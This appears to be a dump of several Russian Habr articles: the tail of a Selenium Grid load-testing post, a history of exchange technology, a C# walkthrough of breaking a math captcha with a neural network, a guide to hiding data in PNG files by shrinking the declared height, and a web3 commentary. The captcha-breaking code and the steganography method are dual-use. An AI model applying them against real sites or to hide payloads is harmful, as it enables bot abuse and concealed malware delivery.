Сервер Selenium’а поддерживает запуск в двух режимах – как standalone сервер (режим запуска по умолчанию) и как часть общей сети из Selenium серверов – Selenium Grid (режимы запуска с –role hub и –role node). Так как нам нужно было использовать большое количество компьютеров, то первый режим не очень подходит – в этом случае нужно будет управлять каждым сервером в отдельности. Т.е., по сути, писать свой менеджер серверов. Хотя, по началу, мне это вариант импонировал – в таком случае у нас будет полный контроль над тем, на какой машине какой браузер запускать. Но в дальнейшем я от него отказался – полный контроль над запуском браузеров оказался не нужен, плюс Selenium Grid подкупил своей простотой в использовании. (ссылка на страницу конфигурации Selenium Grid [code.google.com/p/selenium/wiki/Grid2](http://code.google.com/p/selenium/wiki/Grid2))
В итоге пришли к следующей конфигурации: На одном компьютере запускался Selenium в режиме hub с дополнительным параметром –timeout 0. Это нужно было потому, что иногда сессии закрывались по timeout из за длительного бездействия тестов. На других компьютерах запускался Selenium в режиме node. Для мощных компьютеров, способных обеспечить работу 15 браузеров, node Selenium’а запускался с дополнительной настройкой, позволяющей запускать 15 копий FF и указывающей, что одновременно можно работать с 15 сессиями.
#### Проведение тестов
Тесты проводились следующим образом – на одном компьютере запускался один экземпляр браузера, который выполнял тестовые сценарии несколько раз и с которого снимали время выполнения. На остальных компьютерах запускались те же тестовые сценарии, но уже на нескольких браузерах. Такое разделение для замера времени нужно для того, что бы одновременная работа браузеров не отражалась на результате измерения. Так как если делать те же измерения на нескольких запущенных браузерах, то время будет чуть больше.
Пару слов нужно сказать о тестовых сценариях и подсчёте времени их выполнения. Каждый сценарий включал в себя открытие документов каждого типа. Т.е. сначала открывался входящий документ, потом исходящий документа и т.д. Вот здесь нужно учесть следующую ситуацию – если нужно снять время открытия только входящего документа, и при этом запустить на всех машинах выполнения только это сценария, то время будет существенно меньше (на 50%) чем, если бы снимать время при одновременном выполнении всех сценариев. В моём случае, скорее всего это было связано с кешированием на уровнях web приложения и СУБД. И тем, что открывалось мало уникальных документов. Возможно, при большом количестве разных документов различия будут не столь существенны.
В идеале хотелось бы получить распределение пользователей и документов таким, каким оно будет в реально работающей системе. Т.е., например, в реальной системе будет 10 человек работать с входящими и 30 с исходящими. И в нагрузочном тесте так же отразить это соотношение – количество тестов по исходящим в три раза больше чем с входящими документами. Но так как ещё тестируемая система пока не вошла в эксплуатацию и этих данных пока нет, то тестирования происходило без их учёта.
#### Подведение итогов
В результате тестов для 1-го, 16-ти, 26-ти и 70 пользователей был составлен график по каждым сценариям. Пока ещё количество пользователей не слишком большое, что бы сделать точные выводы, но уже сейчас можно проследить темпы роста времени.
Зависимость времени открытия документов от количества работающих пользователей:
Зависимость времени списка документов от количества работающих пользователей:
Дальше тесты будут продолжаться, что бы построить график до 200 пользователей. В результате должен получиться график, похожий на этот (взят из [msdn.microsoft.com/en-us/library/bb924375.aspx](http://msdn.microsoft.com/en-us/library/bb924375.aspx)):
По нему уже можно будет точно определить возможности системы и найти её узкие места. | https://habr.com/ru/post/168137/ | null | ru | null |
# Немного истории: Как развивались биржевые технологии
[](http://habrahabr.ru/company/itinvest/blog/267603/)
Для современных биржевых площадок скорость работы является важнейшим фактором в привлечении инвесторов. Торговцы хотят покупать и продавать финансовые инструменты быстро, чтобы избежать возможности изменения цены в процессе исполнения транзакции. Важно также качество рыночных данных, на основе которых принимается решение о покупке или продаже, а также общая надежность инфраструктуры.
За несколько сотен лет биржи прошли путь от публикации цены дважды в неделю на небольших клочках бумаги — как это было, например, в Лондоне, где брокеры собирались в кофейне «[У Джонатана](https://en.wikipedia.org/wiki/Jonathan%27s_Coffee-House)», до настоящего технологического большого взрыва в 80-е годы прошлого века.
#### Big Bang
В октябре 1986 года на лондонской бирже заработала автоматизированная система расчета котировок (Stock Exchange Automated Quotation), которая заменила собой торговлю голосом. Теперь брокеры могли покупать и продавать акции с помощью компьютеров без необходимости созваниваться или встречаться лично.
В интервью изданию Computer Weekly главный инженер лондонской биржи Робин Пэйн (Robin Paine) [отметил](http://www.computerweekly.com/news/2240083742/The-evolution-of-stock-market-technology), что внедрение системы принесло свои выгоды, как частным, так и институциональным инвесторам — порог входа на биржу снизился, торговать стало проще.
Все это привело к росту объёмов торгов — если до внедрения автоматизированной системы число заключаемых сделок на биржевой площадке Лондона составляло около 20000 в день (примерно на £700 млн), то спустя несколько месяцев после внедрения это число увеличилось до 59000 сделок в день, а к середине двухтысячных годов достигло 566 тысяч в день.
#### Не все так просто
Однако внедрение новых технологий проходило не без сложностей. В 1987 году произошел так называемый «черный понедельник» — крупнейшее падение в истории мирового фондового рынка. 19 октября 1987 года Промышленный индекс Доу-Джонса потерял 22,6%.
Это событие сказалось и на финансовых площадках в других странах — фондоый рынок Австралии потерял к концу октября более 40%, Канады — более 22%, Великобритании — 26%.
Аналитик TowerGroup Боб МакДоуал (Bob McDowall) сказал Computer Weekly, что несмотря на то, что технологии не являлись причиной черного понедельника, автоматизация способствовала ускорению падения фондового рынка.
> В те времена технологии анализа ситуации на рынке были не столь развиты и не обрабатывали информацию о факторах, кроме собственно цены акций.
Биржи были вынуждены разработать системы и регламенты для приостановки торгов в моменты значительного или аномально быстрого изменения цены конкретной или нескольких акций.
1987 год ознаменовался не только «Черным понедельником», но и первыми чисто технологическими сбоями на фондовых площадках — например, 9 декабря 1987 года произошел масштабный сбой в работе Nasdaq. Тогда сервис котировок Национальной ассоциации дилеров по ценным бумагам не работал целых 82 минуты, нештатная ситуация привела к тому, что в торгах перестали участвовать более 20 млн различных акций.
Причиной сбоя стала обычная белка, которая пробралась в главный компьютерный центр биржи в городе Трамбулл штата Коннектикут и перегрызла там проводку. Тело животного было обнаружено электриками компании United Illuminating в процессе работ по восстановлению электроснабжения.
#### Протоколы передачи данных
Перевод торговли в электронный формат потребовал и создание соответствующих протоколов передачи данных. В 1992 году ряд финансовых организаций инициировал создание протокола FIX. Впоследствии FIX стал отраслевым стандартом, который используется участниками финансового рынка разных стран для связи своих продуктов. Подробнее о нем мы писали в [этом материале](http://habrahabr.ru/company/itinvest/blog/242789/).
В середине двухтысячных годов стало понятно, что текущая версия протокола на справляется с возросшим объёмом финансовой информации, генерируемой фондовыми рынками.
При передаче больших объёмов данных с помощью FIX возникали значительные задержки в их обработке, что приносило трейдерам убытки и лишало их возможности разработки действующих торговых стратегий.
Классический формат передачи сообщений Tag=Value, использовавшийся в FIX, оказался слишком громоздким для его быстрой обработки. Чтобы решить эту проблему был разработан новый протокол [FAST](http://habrahabr.ru/company/itinvest/blog/243657/). Пилотный проект был представлен в 2005 году.
*Схема работы по протоколу FAST*
Согласно стандарту FIX-протокола каждое сообщение имеет формат Tag = Value SOH, где Tag — это номер передаваемого поля, Value — его значение, а SOH — символ-разделитель. Пример записи сообщения в синтаксисе Tag = Value:
```
35=x|268=3 (message header) 279=0|269=2|270=9462.50|271=5|48=800123|22=8 (trade) 279=0|269=0|270=9462.00|27
```
FIX и FAST — это международные стандарты, но кроме них локальные биржевые площадки реализуют и собственные «нативные» протоколы.
Их используют для получения нужной информации как частные торговцы, так и брокерские компании — такие нативные протоколы более функциональны, чем общепринятые стандарты (вроде того же FIX), что привлекает брокеров. В России примером такой разработки можно назвать протокол Plaza II, который был создан специалистами биржи РТС. Подробнее о нем [здесь](http://habrahabr.ru/company/itinvest/blog/261709/).
#### Новые технологии для скоростной торговли
Важность скорости работы приобрела еще большее значение с распространением алгоритмического трейдинга. Появилось огромное количество систем и алгоритмов, использующих те или иные неэффективности фондового рынка.
Такие системы совершают десятки и сотни тысяч транзакций в день — и для того, чтобы заработать, им необходимо хоть на микроскопическую долю секунды опередить конкурентов.
Биржевые площадки, стремясь привлечь инвесторов, стремились делать все возможное для повышения скорости и снижения задержек. В частности, так родилась технология прямого доступа на биржу (в нашем блоге был [материал](http://habrahabr.ru/company/itinvest/blog/204620/) о ней).
[Прямой доступ](http://www.itinvest.ru/services/access/) (Direct Market Access, DMA) представляет собой технологию высокоскоростного доступа на биржевые площадки, при котором заявка выставляется в торговую систему биржи напрямую, минуя торговую систему брокера. Все это позволяет существенно сократить время доставки заявки на биржу и получения информации о ее состоянии.
Также стали развиваться услуги колокации — многие биржи стали предлагать клиентам возможность размещения своих серверов с торговыми роботами в том же дата-центре, где находится и ядро торговой системы биржи. Такие услуги есть и на Московской бирже.
Сейчас, торговые сервера Московской биржи размещены в ЦОД М1. Торговые роботы, подключаемые к биржевым серверам, могут размещаться в двух зонах – так называемой DMA-зоне свободной коллокации и зоне непосредственной коллокации биржи.
Свои услуги по колокации стали предлагать и брокеры (например, [ITinvest](http://www.itinvest.ru/services/access/razmeshenie/)). В случае Московской биржи — они предлагают размещение серверов и виртуальных машин в зоне свободной колокации. В этом случае транзакции обрабатываются чуть медленнее, но и стоимость размещения торговой системы снижается.
#### Развитие инфраструктуры
На протяжении последних десятилетий биржевые площадки должны были думать и о повышении надежности. Инвесторов отпугивает возможность сбоев, которые выражаются как в приостановке торгов, так и в некорректном отображении информации — это может привести к финансовмым потерям, поскольку те же торговые роботы могут продолжать торговать по неверным данным себе в убыток, не понимая этого.
Поэтому финансовые организации работали не только над оптимизацией софта, но и выстраивали мощные дата-центры, где устанавливались серверы с «движками» бирж. Вот, к примеру, как выглядит один из таких узлов онлайн-трейдинга, дата-центр компании Equinix:
*12-метровый потолок с несколькими уровнями размещения кабель-каналов*
*Охлаждение через подвесную систему воздуховодов*
*Зал источников бесперебойного питания (ИБП), питающийся от подстанции на 26 мегавольт-ампер. Мощность оборудования 30 мегаватт.*
> Больше фото из дата-центра Equinix в [нашем материале](http://habrahabr.ru/company/itinvest/blog/255967/).
Однако обеспечение скорости работы было и остается главным фокусом. Если изучить статистику быстродействия исполнения ордеров (latency) на различных биржевых площадках в 2010 году и сравнить с тем, что было несколькими годами спустя, разница может показаться колоссальной.
Вот значения latency крупнейших биржевых площадок мира (здесь ASTS — фондовый рынок ММВБ, а FORTS — это РТС; позднее две эти площадки объединились в Московскую биржу):
Уже в 2013 году ситуация изменилась довольно существенно:
Позднее в том же 2013 году время исполнения заявок в системе ASTS было доведено до 50 микросекунд, а в системе FORTS (Spectra) составило 35 микросекунд. В настоящий момент эти цифры еще ниже.
#### Что еще: безопасность
Основными технологическими трендами фондового рынка все еще остаются увеличение быстродействия работы и повышение надежности систем. Кроме того, все больше внимания биржевые площадки вынуждены уделять защите своей инфраструктуры от хакеров.
Только за прошедшие пару лет было зафиксировано несколько случаев кибератак — например, в 2013 году неизвестные хакеры [взломали](http://dealbook.nytimes.com/2013/08/23/after-mishaps-nasdaq-loses-standing-to-rivals/) систему Nasdaq, что позволило им два года проникать в нее, оставаясь незамеченными. Уже в 2015 году возникли подозрения в том, что хакеры из группировки Anonymous или Китая [атаковали](http://habrahabr.ru/company/itinvest/blog/263203/) Нью-Йоркскую биржу. | https://habr.com/ru/post/267603/ | null | ru | null |
# Взлом матановой капчи на C# — это просто!
В этом топике я хочу вам рассказать о взломе т.н. «матан-капчи», пример которой был представлен в недавнем топике [Матановая капча на PHP — это просто!](http://habrahabr.ru/blogs/php/120646/).
Прочитав статью автора об этой замечательной капче, мне захотелось написать программу для её распознавания, как говорится just for fun ;)
Начнем со стандартной подготовительной процедуры, а именно: поиска уязвимостей. Уязвимости, помеченные курсивом не используются при распознавании.
**Слабые стороны:**
1. Черные символы на белом фоне.
2. Отсутствие шумов и других артефактов (например линий).
3. Символы никогда не пересекаются.
4. Всегда одинаковый шрифт.
5. *Под интегралом всегда 4 слагаемых.*
6. Степени и множители состоят из одной цифры.
7. *Степени и множители находятся в диапазоне от 2 до 5.*
**К сильным сторонам можно отнести:**
1. Наличие нелинейных искажений.
2. Возможное отсутствие степени или множителя x.
3. Иногда, dx слипаются в один символ.
4. Меняется ширина капчи.
**Составим алгоритм распознавания:**
1. Получить битовое изображение капчи.
2. Пронумеровать все символы.
3. Найти координаты верхнего и нижнего пределов.
4. Распознать символы, составляющие пределы, используя нейронную сеть.
5. Найти первый символ подынтегрального выражения.
6. Поочередно распознавая символы, двигаться вправо до последнего символа.
7. Решить полученный интеграл.
#### Исходная капча
#### Битовое изображение
За единицу будем считать пиксель, чья яркость по цветовой модели HSB < 0.8, за ноль, соответственно >= 0.8. После этого, капча примет следующий вид:
#### Нумерация символов
Для того чтобы пронумеровать все символы, используем простейший рекурсивный алгоритм [Flood fill](http://en.wikipedia.org/wiki/Flood_fill) для выделения связных областей по 8 направлениям.
```
public int FloodFill(ref int[,] source, int num, int x, int y)
{
if (source[x, y] == -1)
{
source[x, y] = num;
FloodFill(ref source, num, x - 1, y - 1);
FloodFill(ref source, num, x - 1, y);
FloodFill(ref source, num, x - 1, y + 1);
FloodFill(ref source, num, x, y - 1);
FloodFill(ref source, num, x, y + 1);
FloodFill(ref source, num, x + 1, y - 1);
FloodFill(ref source, num, x + 1, y);
FloodFill(ref source, num, x + 1, y + 1);
return ++num;
}
return num;
}
...
int num = 1;
for (int x = 0; x < CaptchaWidth; x++)
for (int y = 0; y < CaptchaHeight; y++)
num = FloodFill(ref bit, num, x, y);
```
#### Распознавание символов
Учитывая нелинейные искажения и отличающийся размер символов лучшим вариантом для их распознавания, будет искусственная нейронная сеть. Что бы немного облегчить задачу, я воспользовался бесплатной библиотекой [Fast Artificial Neural Network Library](http://leenissen.dk). Она написана на C++, и хороша тем, что имеет интерфейсы практически под все популярные языки программирования, [включая и C#](http://code.google.com/p/fanndotnetwrapper/).
Все символы, перед распознаванием приводятся к одному размеру: в данном случае 16px x 21px.
Таким образом, на вход нейронной сети будет подаваться массив из 336 элементов (16\*21). Каждый элемент задает цвет соответствующего пикселя целым числом: 0 или 1.
Средний слой состоит из 130 нейронов. А на выходе массив из 14 элементов с вещественными значениями от 0 до 1, соответствующими числам от 0 до 9, знаку +, d, x, и слипшемуся dx.
Обучение проходило на 3090 образцах, среди которых больше всего символов «x» и меньше всего «d». Несмотря на это, процесс обучения на моём C2D e6750 занял всего 40 секунд.
Код для обучения НС:
```
static void Main(string[] args)
{
NeuralNet net = new NeuralNet();
//Указываем слои нейронной сети
uint[] layers = { 336, 130, 14 };
net.CreateStandardArray(layers);
//Устанавливаем случайные веса
net.RandomizeWeights(-0.1, 0.1);
net.SetLearningRate(0.7f);
//Загружаем данные для обучения НС
TrainingData data = new TrainingData();
data.ReadTrainFromFile("train.tr");
//Обучаем сеть
net.TrainOnData(data, 1000, 0, 0.001f);
//Сохраняем готовую НС в файл
net.Save("skynet.ann");
}
```
Структура текстового файла train.tr:
```
num_train_data num_input num_output
inputdata seperated by space
outputdata seperated by space
...
inputdata seperated by space
outputdata seperated by space
```
Примеры символов, передающихся на распознавание:
#### Распознавание интеграла
Сперва найдем и распознаем пределы. Верхний может состоять из 1-2 цифр, причем максимальное значение равно 10. Нижний находится в диапазоне от 0 до -10.
Облегчим задачу нейронной сети:
* Если верхний предел состоит из двух цифр, то это 10 (нижний из трех).
* Минус распознаем алгоритмически по пороговому значению высоты символа.
* При распознавании, не будем учитывать выходы НС, не соответствующие цифрам.
Найдем знак интеграла, просто двигаясь вправо от левой границы с отступом от верхней границы в половину высоты капчи. Все, что правее – подынтегральное выражение.
Зная номер интеграла, количество объектов на капче, и то, что эти объекты пронумерованы слева направо, дальнейшим последовательным распознаванием символов мы получим примерно следующую строку «5x5+x5-4x2+4x5dx». Предварительно упростим работу парсеру выражения — приведем её к виду "+5x5+x5-4x2+4x5".
Некоторые закономерности позволяют легко получить итоговые данные для решения интеграла:
* Знаки "+" и "-" разделяют слагаемые.
* Цифры после «x» – степень.
* И т.д.
На выходе получим 2 массива с множителями и степенями x. Дальнейшее решение интеграла трудностей уже не представляет.
#### Вместо заключения
Качество распознавания **всей капчи** впечатляет: 93,8% на выборке в 500 штук!
Скачать готовую программу, демонстрирующую решение интеграла можно [здесь](http://narod.ru/disk/15606801001/MatanCrack.zip.html). Или вместе с исходниками (+ программа для обучения нейросети и обучающая выборка) [здесь](http://narod.ru/disk/15606816001/MatanCrackSrc.zip.html).
Надеюсь, ни мой сервер, ни сервер хабраюзера [grishkaa](https://habrahabr.ru/users/grishkaa/) не ляжет под хабраэффектом ;) | https://habr.com/ru/post/121032/ | null | ru | null |
# Практическая стеганография. Скрытие информации в изображениях PNG
На хакерских конкурсах и играх CTF (Capture The Flag) иногда попадаются задачки на стеганографию: [вам дают картинку, в которой нужно найти скрытое сообщение](https://ctfs.github.io/resources/topics/steganography/invisible-text/README.html). Наверное, самый простой способ спрятать текст в картинке PNG — прописать его в одном из цветовых каналов или в альфа-канале (канал прозрачности). Для выявления подобных «закладок» есть специальные инструменты, такие как [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install), [pngcheck](http://www.libpng.org/pub/png/apps/pngcheck.html) и [stegdetect](https://github.com/redNixon/stegdetect), иногда конкурсантам приходится вручную повозиться с фильтрами в GIMP или Photoshop.
Однако прогресс не стоит на месте — и в последнее время всё чаще используются другие способы скрытия данных, например, PNG-наполнение. Посмотрим, как это делается.
Начнём с небольшого теоретического введения по «невидимым» частям PNG.
Альфа-канал
===========
На экране компьютера при отображении картинки цвета создаются сочетанием красного, зелёного и синего компонентов. Эти три цветовые плоскости называются каналами. Обычно они записываются как RGB.
Кроме этих трёх каналов, в PNG может быть ещё четвёртый канал, называемый альфа (обозначается буквой А) для определения уровня прозрачности. Полученное изображение RGBA определяет видимые цвета и степень прозрачности.
В большинстве графических форматов альфа-канал является значением от 0% до 100% (или от 0 до 255 в байтах). Значение 0% (чёрный) обозначает место на изображении, где должна быть полная прозрачность — тут значение RGB игнорируется, и полностью виден фон под картинкой. Значение альфа-канала 100% (белый) означает, что каналы RGB полностью непрозрачны. Промежуточные значения определяют, насколько нужно смешать фон со значением RGB-пикселя.
*Альфа-градиент в PNG*
Значения альфа-градиента обычно используются для наложения изображения на другое изображение или на веб-страницу. Альфа-градиенты есть в PNG, WebP, ICO, ICN и других растровых форматах. Формат GIF поддерживает только логическое значение (пиксель либо прозрачен, либо нет).
Альфа-канал — только один из вариантов для размещения скрытого текста. Переходим к PNG-наполнению (padding) для прямой записи данных в бинарный файл.
PNG-наполнение по столбцам
==========================
Формат PNG [достаточно прост](http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html). Каждый файл начинается с восьми стандартных байт подписи, вот её десятичные значения: `137 80 78 71 13 10 26 10`. Первый байт выбран за пределами ASCII, чтобы никакой редактор случайно не принял изображение за текстовый файл. Следующие три байта соответствуют буквам P, N, G. Затем разрыв строки DOS (13 10), маркер DOS окончания файла (26), чтобы программа type не выдавала весь бинарный мусор, и маркер Unix новой строки.
После заголовка начинаются блоки данных (chunks) со стандартной структурой. Сначала идёт блок IHDR с указанием ширины и высоты изображения, цветового пространства, количества бит на пиксель, методом сжатия, методом фильтрации и указанием наличия/отсутствия чересстрочного кодирования. Для ширины и высоты выделено по четыре байта, для остальных параметров — по одному байту.
Затем следует опциональный блок tEXt с текстовыми метаданными, например, с названием программы, которая сгенерировала данный файл PNG. В текстовые блоки можно записывать текстовую информацию в открытом виде.
За IHDR и tEXt следуют блоки IDAT со сжатыми значениями RGB или RGBA для растровых пикселей. При рендеринге PNG обрабатывается IHDR, выделяется буфер в памяти для изображения, данные извлекаются из сжатого формата и попиксельно записываются в буфер. Файл PNG завершается блоком IEND.
В конце каждого блока записана контрольная сумма CRC для этого блока, которая вычисляется по [стандартному алгоритму](http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html#CRC-algorithm).
Обычно изображения PNG содержат 8 или 16 бит информации на каждый канал RGB или RGBA, то есть выходит от трёх до восьми байт на пиксель. В таком формате все байты заняты полезной информацией о цвете и прозрачности, так что в конце каждой строки графического изображения у нас нет места для записи произвольных данных.
Но для задач стеганографии нужно знать, что PNG поддерживает и меньшую глубину цвета: 1 бит (2 цвета), 2 бита (4 цвета) и 4 бита (16 цветов). В такой ситуации получается, что в одном байте хранится информация о нескольких пикселях. Вот здесь и появляется теоретическая возможность для «горизонтального» наполнения PNG посторонними данными. Если ширина картинки в пикселях не кратна восьми, то в последнем байте строки остаётся неиспользуемые биты, которые все вместе формируют целый неиспользуемый «столбец пикселей».
В случае 1-битного изображения в конце каждой строки может остаться до 7 свободных бит, которые не будут обработаны парсером. В случае 2-битного изображения в последнем байте остаётся до 3 свободных бит. Онлайновый инструмент FotoForensics [находит такие неиспользуемые «столбцы пикселей» в изображениях PNG](https://fotoforensics.com/tutorial-hidden-pixels.php#Example-PNG).
Впрочем, PNG-картинки с малой глубиной цвета встречаются очень редко, поэтому и данный метод стеганографии можно считать экзотикой. Если вам попалось PNG-изображение с 2, 4 или 16 цветами, один этот факт уже вызывает подозрение и может инициировать проверку PNG-наполнения по столбцам.
Совсем другое дело — PNG-наполнение за границами картинки. Это более простой метод стеганографии, который позволяет спрятать в изображении гораздо больше информации.
PNG-наполнение за границами картинки
====================================
PNG-наполнение за границами картинки (post-pixel padding) часто используется в различных играх, головоломках и конкурсах, не только хакерских. Вот как работает этот метод:
1. Берём изображение PNG (с любой глубиной цвета).
2. Вставляем секретную информацию в нижнюю часть картинки.
3. Сохраняем PNG, не используя чересстрочное кодирование.
4. Открываем файл в hex-редакторе.
5. Находим блок IHDR. Он располагается в начале файла после восьми обязательных байт подписи и помечен как IHDR.
6. Первые четыре байта после метки IHDR — это ширина файла, следующие четыре байта — высота. Уменьшаем это значение c `00 00 01 9D` (413 пикселей), например, до `00 00 01 7E` (382 пикселя).
7. Не забудьте пересчитать четыре байта CRC (в формате PNG вычисляется значение CRC для каждого блока данных, в том числе для IHDR), которые записаны в конце блока. Если вы не можете посчитать CRC самостоятельно, посмотрите это значение в любом PNG-файле с аналогичными значениями блока IHDR.
Получаем результат.
Обратите внимание, что секретные данные остались в нижней части изображения. Размер файла не изменился: 335 906 байт. Просто парсер теперь не обрабатывает эти пиксели — и нижняя часть картинки не демонстрируется на экране.
Несложно догадаться, что в «секретной» части картинки можно спрятать не только текстовую надпись, но и произвольные данные. Например, мы можем записать туда запароленный архив RAR. Картинка с секретным посланием может быть опубликована на Habrastorage или любом другом общедоступном хостинге. Послание получит только тот человек, с которым вы заранее договорились о способе передачи информации и согласовали пароль. Таким способом вредоносные программы могут передавать полезную нагрузку через Хабр и другие общедоступные хостинги.
---
#### На правах рекламы
[VDS для размещения сайтов](https://vdsina.ru/cloud-servers?partner=habr99) — это про наши **эпичные**! Все серверы «из коробки» защищены от DDoS-атак, автоматическая установка удобной панели управления VestaCP. Лучше один раз попробовать ;)
[](https://vdsina.ru/cloud-servers?partner=habr99) | https://habr.com/ru/post/518292/ | null | ru | null |
# Web3 и NFT: хайп обоснован или нет? Ещё неясно
Основатель Signal [написал](https://moxie.org/2022/01/07/web3-first-impressions.html) на прошлой неделе сильный текст о проблемах web3 и, в частности, NFT. Привожу **краткое саммари** статьи + дискуссии о перспективах самой модной (по ожиданиям венчурных капиталистов) темы 2022 года. И зову [вместе разбираться](https://t.me/kalupin), обоснован ли хайп.
Фото с сайта Techcrunch### Зачем слушать Мокси?
Это известный хакер (в значении “высокопрофессиональный программист, склонный к нетривиальным решениям, искушённый в тонкостях компьютерных систем“) и создатель Signal — [по мнению многих экспертов](https://en.wikipedia.org/wiki/Signal_(software)), самого защищённого из популярных мессенджеров.
До Signal сооснованная им Whisper Systems [была куплена](https://en.wikipedia.org/wiki/Moxie_Marlinspike) Twitter, в котором он с 2011 по 2013 отвечал за кибербезопасность.
Протокол шифрования Signal Protocol [используется](https://en.wikipedia.org/wiki/Signal_Protocol) в Whatsapp, Skype и Facebook Messenger.
В январе в Signal добавили поддержку криптовалюты MobileCoin (тоже связанной с Мокси), а через несколько дней после публикации горячо обсуждаемой статьи он [объявил](https://habr.com/ru/news/t/600095/) об уходе с поста гендиректора (роль врио CEO Signal занял сооснователь WhatsApp Брайан Эктон, который много жаловался на действия Facebook после поглощения WhatsApp и в 2018 [закинул $50M в Signal Foundation](https://techcrunch.com/2018/02/21/signal-expands-into-the-signal-foundation-with-50m-from-whatsapp-co-founder-brian-acton/?guccounter=1&guce_referrer=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8&guce_referrer_sig=AQAAAIvWEnPF-2Y_BOBmUFAjjhOQPiaPLAZPAhFNEQb1GqzCHO6AN75UOU7kHC20VyPvkLPPTrX2v1mBSd9PMswu4nL3D7K7soet9x_KKujIVZ9vDSTgA2Wz7DbiwgURm_HoFPiw3v5xatIF23WbccvMh0vOqhH9o9ZexJMnPY8pR7cd)).
[Вот](https://3dnews.ru/917600/moksi-ili-gizn-kak-misleprestuplenie) ещё занятные биографические подробности по-русски. А [вот](https://www.newyorker.com/magazine/2020/10/26/taking-back-our-privacy) огромный фичер от The New Yorker.
### Краткое саммари модной статьи
(Хотя лучше читать её целиком, хотя бы в [переводе](https://habr.com/ru/post/599771/))
**Проблемы web3:**
* Людям неудобно запускать свои сервера
* Протоколы всегда развивались медленнее платформ
* В работе распределённых приложений (dApps) есть “дырки” и уязвимости, особенно во взаимодействии клиент-сервер, в тч критичные
* Многие элементы “децентрализованных” инфраструктур по факту централизованные, часто это приводит к комичным ситуациям
* Поэтому платформы по-прежнему имеют огромную власть — и нет уверенности, что получится обойтись без них
* Аргументу “это всё ещё ранние дни” уже много лет
* Но золотую лихорадку уже не остановить: в индустрию бросились креатив, интеллект и финансы
**Ключевой вопрос:** “*the question of how long it continues is a question of whether the vast amounts of accumulated cryptocurrency are ultimately inside an engine or a leaky bucket*”. То бишь, он не уверен, что огромные вливаемые в индустрию ресурсы (человеческие и денежные) станут двигателем, который приведёт к полезным результатам.
**Неожиданно оптимистичное личное мнение:**“*Personally, I think enough money has been made at this point that there are enough faucets to keep it going, and this won’t just be a blip*” (”Лично я думаю, что влито уже достаточно денег, чтобы всё продолжалось, и это не окажется просто пузырём”).
**Вывод первый:**“Мы должны принять, что люди не будут управлять собственными серверами, и разрабатывать системы, которые могут распространять доверие без необходимости распространения инфраструктуры. Нужна архитектура, которая принимает, что отношения клиент/сервер неизбежно будут централизованными, но использует криптографию (а не инфраструктуру) для распределения доверия. Одной из удивительных вещей для меня в web3, несмотря на то, что он построен на «крипто», является то, как мало там задействовано криптографии!”
**Вывод второй:** “Мы должны попытаться упростить создание программного обеспечения. На данный момент проекты по созданию программного обеспечения требуют огромных человеческих затрат. Даже относительно простые приложения требуют, чтобы группа людей сидела перед компьютером по восемь часов в день, каждый день, бесконечно. Так было не всегда, и было время, когда 50 человек, работающих над программным проектом, не считались «маленькой командой». Пока программное обеспечение требует такой согласованной энергии и такого большого количества узкоспециализированных человеческих усилий, я думаю, оно будет служить интересам людей, сидящих в этой комнате каждый день, а не нашим более широким целям”.
---
В общем, Мокси точно разбирается — но есть ощущение, что он что-то затевает.
Например, новую компанию в web3.
Или новую централизованную платформу, которая идеологически близка web3, но решает беспокоящие его задачи лучше.
***[ниже — о дискуссии по поводу статьи]***
Фото с сайта The New YorkerСтатья породила интереснейшую дискуссию, в том числе откликнулись [фаундер Metamask](https://medium.com/@danfinlay/what-moxie-missed-on-web3-wallets-8dc572e7f39b) и [создатель Ethereum](https://www.reddit.com/r/ethereum/comments/ryk3it/my_first_impressions_of_web3/hrrz15r). Оба ответа заслуживают отдельного прочтения.
Если кратко, то *первый* в своих доводах концентрируется на возрастающей роли кошельков (например, ожидаемо, Metamask), а *второй* — на аргументе "это всё ещё ранние дни", обоснованном примерами уже сделанных и грядущих улучшений блокчейн-экосистем (особенно, ожидаемо, Ethereum).
**Виталик Бутерин завершает так**: "*I think the properly authenticated decentralized blockchain world is coming, and is much closer to being here than many people think. Of course, it's always possible that all this tech will get built and many people will not care. But I'm more optimistic. Users generally accept defaults given by developers, and many developers really do genuinely care about decentralization and trustlessness*".
Мол, грядёт децентрализованный мир, притом гораздо быстрее, чем многие думают, ведь пользователи обычно принимают настройки по умолчанию, а многих разработчиков глубоко волнует тема децентрализации.
### Итого:
На мой вкус, Мокси аккуратно описал много реальных проблем, но
**(1)** он не считает, что всё это ерунда;
**(2)** многие указанные проблемы скоро будут решены, а часть не нуждается в решении;
**(3)** аргумент “это всё ещё ранние дни” валиден и представляет собой огромную возможность для разработчиков и разработчиц новых систем
`(эти три пункта — моё мнение, а не пересказ мнения Мокси)`
Что мне с того?
---------------
Несмотря на большое число крипто-фанатов среди знакомых и работу в сей забавной индустрии задолго до ICO-хайпа**,** я не особо верил в потенциал децентрализации, поздно купил биткоин (в 2015 по курсу около $400, притом поставил на бирже заявку на продажу при достижении $800, эх) и мало интересовался блокчейн-экосистемами до конца прошлого года.
Несколько месяцев назад заинтересовался web3 — кажется, аж с [марта](https://vc.ru/flood/112225-planiruete-prochitat-tolko-odin-tekst-pro-koronavirus-kazhetsya-eto-on) и [апреля](https://habr.com/ru/post/498974/) 2020 я не видел подобного накала дискуссий по сложному вопросу, в котором очень умные люди имеют противоположные мнения. (Думаю, понятно, на какую тему были предыдущие дискуссии)
Пока что мне кажется, что по многим причинам *(новые остроумные технологии и сильные сообщества разработчиков)* и признакам *(хлынувшие венчурные и институциональные деньги)* у блокчейн-технологий скоро появится много серьёзных применений в реальном мире.
Ещё один важный момент: судя по моему окружению и англоязычным текстам, мем web3 ([употребляю слово "мем" в определении Докинза](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%BC)) научился захватывать умы очень скептичных людей, достигших сильных результатов вне блокчейн мира. Ребрендинг "блокчейн --> web3" приведёт в индустрию много новых разработчиков, предпринимателей и корпоратов, которые доработают существующие инструменты и создадут новые.
Всё ещё непонятно, получится ли даже с этими деньгами и умными людьми что-то гигантское, но направление мне симпатично.
**В ближайшие недели (или месяцы) я разберу лучшие материалы на тему web3 в телеграм-канале** <https://t.me/kalupin>
